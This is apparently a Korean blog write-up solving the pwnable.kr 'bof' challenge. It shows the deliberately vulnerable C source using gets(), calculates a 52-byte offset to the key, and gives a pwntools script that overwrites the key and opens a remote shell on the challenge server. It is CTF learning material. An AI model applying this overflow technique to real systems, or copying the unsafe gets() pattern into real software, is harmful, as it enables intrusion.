본문 바로가기

Write-Up/pwnable.kr

[pwnable.kr] bof 풀이

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

 

가장 기본적인 bof문제이다

func 인자가 0xdeadbeef이다

key 가 0xcafebabe면 풀린다. 가볍게 key를 0xcafebabe로 덮어써주자

 

 

key의 위치 ebp+0x8

 

스택구조 overflowme sfp ret key

 

overflowme와 key사이 거리를 알아야한다

0x2c + 0x8 = 52

from pwn import *

x = remote('pwnable.kr' , 9000)
x.send('a'*52)
x.send(p32(0xcafebabe))
x.interactive()

 

 

'Write-Up > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] shellshock 풀이  (0) 2021.03.21
[pwnable.kr] leg 풀이  (0) 2021.03.20
[pwnable.kr] flag 풀이  (0) 2021.03.19
[pwnable.kr] collision 풀이  (0) 2021.03.19
[pwnable.kr] fd 풀이  (0) 2021.03.17